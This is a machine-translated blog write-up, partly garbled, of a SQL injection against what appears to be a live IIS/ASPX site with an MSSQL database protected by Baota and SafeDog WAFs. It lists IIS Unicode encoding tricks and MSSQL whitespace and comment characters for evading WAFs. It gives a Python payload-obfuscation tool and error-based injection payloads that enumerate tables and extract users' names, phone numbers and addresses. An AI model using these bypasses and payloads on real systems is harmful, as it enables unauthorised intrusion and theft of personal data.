序文
最近、仕事を探していたところ、ある会社からそういうメッセージが届いたので、この記事を持っています。
この記事では、知識ポイントに関する実践的な演習を行います。SQLインジェクション(この実験では、環境としてPHPとmysqlを使用して、SQLの原理と使用法を簡単に示します。エラーインジェクションとブラインドインジェクションの比較により、さまざまなインジェクションの使用方法がより直感的になります。実証済み。)
記事の最後に置く
この記事はバイパスが成功した後に書かれたため、一部の写真が欠落している可能性があります(以前はmysqlを頻繁に実行し、sqlmapシャトルがあるため、半日かかりました。従来の職人技をほとんど失いました)。
不注意、フラッシュなし
ターゲットを取得した後、直接開くのが待ちきれません
アドレスを開いてエラーを見つけたのですが、情報収集でシェルを取得し、最終的にデータを取得するのが課題だと思いましたが、ゲーム開始時に情報漏えいを送信したいのですが?
最後に投げた後、突破口はなかったので、戻って前の住所を見て、また行けることに気づきました。
不注意、フラッシュなし
ついに私はこのようなインターフェースを見ました(特に夜は運が良ければ完全に開くことができます)
このインターフェースを見た後、私は老人のSQLインジェクションをテストしたいと思いましたか?当時、私はsqlmapを使用して侵入しないと思っていました!
射出位置の識別
すぐに'
注入ポイントを最初に試します
/1.aspx?id=1%27
挑戦し続けるand 1=1
/1.aspx?id=1%20%27and%201=1
いい子、小さな犬を飼うのは難しいですか?げっぷを開いて賭けを始めましょう
バイパスパゴダ+安全犬
リクエストを直接投稿に変更し、ガベージデータの入力がバイパスできるかどうかを試してください
ジャンクデータを生成する
いい子、塔のワフもあります、ゴミデータの入力は使いにくいようです
送信バイパスをブロックするために再試行してください
それでも同じです(チャンク送信に関する調査はありません。この記事の焦点ではなく、いくつかのデータベース機能と組み合わせて使用する必要があります)
次に、ファジングを開始します
選択せずに試す
私はそれが可能だと思って、試してみて、user
そしてdb_name()
これは、塔と犬の両方が選択後の値を傍受することを示しています
引き続き共同クエリを試行しますunion
当然のことながら、それはまだ同じです。2人の兄弟は良いパートナーです。変更。この記事の焦点はハンドインジェクションとバイパスを学ぶことなので、ペイロード難読化ツールバイパスを作成する予定です。
ツールを作成する前に、バイパスの一般的な方法を知っておく必要がありますか?
私は以下のタイプを整理しました
- サーバー機能を活用する
- データベース機能を活用する
- WAF機能を活用する
したがって、バイパスを改善するには、これらの機能のいくつかを理解する必要があります。現在の目標はiis + aspxであるため、バイパスするiisとmssqlの機能を理解する必要があります。
iisの機能
以下は、バイパスボスのwaf ***実際の戦闘ノートから抜粋したものです。
1.%機能(ASP + IIS)
asp + iis環境には、特別な記号%という機能があります。この環境では、s%electに入ると、WAFレイヤーで解決される場合があります。
結果はs%electですが、iis + asp環境では、解析された結果が選択されます。
追伸:ここでの推測は、iisでのasp.dll解析の問題である可能性があります。Aspx+ iis環境にはこの機能がありません。
2.%u機能(asp + iisおよびaspx + iis)
IisサーバーはUnicodeの解析をサポートしています。たとえば、selectの文字に対してUnicodeエンコードを実行すると、次のようになります。
s%u006c%u0006ect、この種の文字はIISで受信された後に選択に変換されますが、WAFレイヤーの場合、受信される可能性のあるコンテンツは引き続き
s%u006c%u0006ect、これはバイパスの可能性を形成します。
3.代替の%u機能(ASP + IIS)
この脆弱性は主に、iisの解析後にユニコードがマルチバイトに変換されることを悪用しますが、変換プロセス中に発生する可能性があります。複数のワイド文字が
同じ文字に変換される場合があります。たとえば、selectのeに対応するUnicodeは%u0065ですが、%u00f0もeに変換されます。s%u0065lect-> select s%u00f0lect-> selectWAFレイヤーはs%u0065lectの形式を認識できる場合がありますが、s%u00f0lectの形式を認識できない可能性があります。これは、WAFをバイパスするために使用できます。3つの一般的なキーワード(union + select + from)のテスト状況:
s%u0045lect = s%u0065lect = %u00f0lect
u --> %u0055 --> %u0075
n -->%u004e --> %u006e
i -->%u0049 --> %u0069
o -->%u004f --> %u006f -->%u00ba
s -->%u0053 --> %u0073
l -->%u004c --> %u006c
e -->%u0045 --> %u0065-->%u00f0
c -->%u0043 --> %u0063
t -->%u0054 -->%u0074 -->%u00de -->%u00fe
f -->%u0046 -->%u0066
r -->%u0052 -->%u0072
m -->%u004d -->%u006d
mssqlの機能
-
空白文字
Mssqlが使用できる空白文字は次のとおりです(文字の前に%を追加する必要があります)。
01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20
-
コメント
コメント文字は、スペースの代わりに、または%0a(コメントと改行)
--
と組み合わせ--
て使用できます。/**/
--
/**anything*/
-
特別価値
一般的に注入ポイントで使用されます
1.1や1E0など
-
オペレーター
以下は、404ボスのMSSQL_SQL_BYPASS_WIKIからの抜粋です。
+ 加法运算
- 减法运算
* 乘法运算
/ 除法运算,如果两个表达式值都是整数,那么结果只取整数值,小数值将略去
% 取模运算,返回两数相除后的余数
& 位与逻辑运算,从两个表达式中取对应的位。当且仅当输入表达式中两个位的值都为1时,结果中的位才被设置为1,否则,结果中的位被设置为0
| 位或逻辑运算,从两个表达式中取对应的位。如果输入表达式中两个位只要有一个的值为1时,结果的位就被设置为1,只有当两个位的值都为0时,结果中的位才被设置为0
^ 位异或运算,从两个表达式中取对应的位。如果输入表达式中两个位只有一个的值为1时,结果中的位就被设置为1;只有当两个位的值都为0或1时,结果中的位才被设置为0
= 等于
<> 不等于
> 大于
!= 不等于
< 小于
!< 不小于
>= 大于或等于
!> 不大于
<= 小于或等于
ALL 如果一组的比较都为true,则比较结果为true
AND 如果两个布尔表达式都为true,则结果为true;如果其中一个表达式为false,则结果为false
ANY 如果一组的比较中任何一个为true,则结果为true
BETWEEN 如果操作数在某个范围之内,那么结果为true
EXISTS 如果子查询中包含了一些行,那么结果为true
IN 如果操作数等于表达式列表中的一个,那么结果为true
LIKE 如果操作数与某种模式相匹配,那么结果为true
NOT 对任何其他布尔运算符的结果值取反
OR 如果两个布尔表达式中的任何一个为true,那么结果为true
SOME 如果在一组比较中,有些比较为true,那么结果为true
これらの機能を理解した後、私たちはすぐに仕事に行き、すぐに老人のpycharmを開きました
テストプロセスの写真は以下では省略されています。手動でテストするか、侵入者を使用して実行できます。ファズは長いプロセスです。ここでのみアイデアを提供できます。
最初に空白文字とコメントを定義します(テスト後に+
同じ効果が見られます)
1.最初にすべてのスペースをコメントに置き換えます
2.プロセスと場所、前後にランダムに空白を追加して、これら2つのキーワードを混同します
3. iis機能を使用して、次のキーワードの1つをUnicodeエンコーディングに置き換えます
4.次の一致を処理します。
1.一部の機能では+()
、バイパスするためにブロックされます
2.特定のadmin.userが+.
バイパスするためにブロックされるため、特定のデータベーステーブルをクエリします
5.最後に、受信するペイロードを展開します。最終的なコードは次のとおりです。
import random
def bypass(payload):
chars1 = ['%01', '%02', '%03', '%04', '%05', '%06', '%07', '%08', '%09', '%0A', '%0B', '%0C', '%0D', '%0E', '%0F',
'%10', '%11','%12', '%13', '%14', '%15', '%16', '%17', '%18', '%19', '%1A', '%1B', '%1C', '%1D', '%1E',
'%1F', '%20']
chars2 = ["/**/", "/*!*/", "/*!safe6*/", "+"]
v = random.choice(chars1)
payload = payload.replace(" ", random.choice(chars2))
payload = payload.replace("=", v + "=" + v)
payload = payload.replace("AND", v + "AND" + v)
payload = payload.replace("and", v + "AND" + v)
payload = payload.replace("WHERE", v + "WHERE" + v)
payload = payload.replace("where", v + "where" + v)
payload = payload.replace("UNION", "u%u006eion")
payload = payload.replace("union", "u%u006eion")
payload = payload.replace("CHAR", "%u0063har")
payload = payload.replace("char", "%u0063har")
payload = payload.replace("SELECT", "se%u006cect")
payload = payload.replace("select", "se%u006cect")
payload = payload.replace("FROM", "%u0066rom")
payload = payload.replace("from", "%u0066rom")
payload = payload.replace("(", "+(")
payload = payload.replace(".", ".+")
payload = payload.replace("--", "/*!*/--")
print(payload)
if __name__ == '__main__':
while True:
payload = input("输入payload:")
if payload == 'q':
exit(0)
if payload:
bypass(payload)
パッケージ化され、githubにアップロードされました
アドレス:< https://github.com/safe6Sec/bypassWAF> ;
その後、あなたは幸せに賭けることができます
mssqlハンドノート
前の観点から、この注入ポイントはユニオン注入とエラー注入をサポートします。ここではエラー注入を使用します。
unionを使用して、現在のテーブルにある列の数を知る必要があり(mysqlのように判断するにはorder byを使用)、ポイントをエコーする必要があります。
エラーインジェクションは、主にトップコマンドをインジェクトするために使用されます。
爆発的なライブラリ(mssqlにはデフォルトで4つのライブラリがあり、条件を追加する必要があります、dbid> 4)
and (SELECT top 1 Name FROM Master..SysDatabases where dbid>4)>0
これは最初のライブラリにすぎず、既知のテーブルを除外するためにnotinを使用する必要があります。
ユニオンクエリの結果は次のとおりです(列の数は現在のテーブルと同じである必要があり、nullを持たない列を使用する必要があります)
union SELECT null,null,null,Name,null,null,null,null FROM Master..SysDatabases
上記のデータからわかるように、データベースは1つだけです。
破裂し続ける
and (select top 1 name from a999.sys.all_objects where type='U' AND is_ms_shipped=0)>0
最初のテーブルはa999です。このテーブルを除外し、他のテーブルを爆発させ続けるために使用しないでください
and (select top 1 name from a999.sys.all_objects where type='U' AND is_ms_shipped=0 and name not in ('a999'))>0
推測する
ついに次の表を手に入れました
'dtproperties'、 'a999'、 'wap_album'、 'wap_albumre'、 'admin'、 'wap_bankLog'、 'wap_bbs'、 'wap_bbs_MarkSix'、 'wap_bbs_MarkSix_bet'、 'D99_CMD'、 'temp'、 'wap_background'
直感によると、データはa999にある可能性が高いとのことです(名前から判断すると)
ダイレクトバーストフィールド、バーストテーブルと同じ操作
and 1=(select top 1 name from syscolumns whereid=(select id from sysobjects where name = 'a999') )
これらのフィールドを取得しました
'id'、 'siteid'、 'airplaneid'、 'airplanename'、 'userid'、 'username'、 'num'、 'tel'、 'address'、 'starttime'、 'content'、 'remark'、 'addtime '、'状態'
必要なデータは次のとおりです。シリアル番号10の列。名前の電話アドレスを含める
データの実行を開始します
and 1=(select top 1 username from a999 where id=10)
次に、残りの電話アドレスを使い果たして、作業を引き渡します。
ファズは本当に時間の無駄です。この記事はバイパスが成功した後に書かれました。スクリーンショットを撮らずにプロセスに時間がかかりすぎました。みんなにアイデアを伝えます。それを組み合わせて使用してください。
または、なぜそうしないのかを言いたい、実行するための改ざんを書く、大物がいるでしょう、
最後に、404とバイパスの記事をありがとう、弟は多くの恩恵を受けました。
総括する
- 何も言わないで、練習は真実です
- wafのバイパスは同じで、ルールを理解するのは非常に簡単で、回避についても同じことが言えます。
- ユニオンインジェクションはエラーインジェクションよりも香りがよい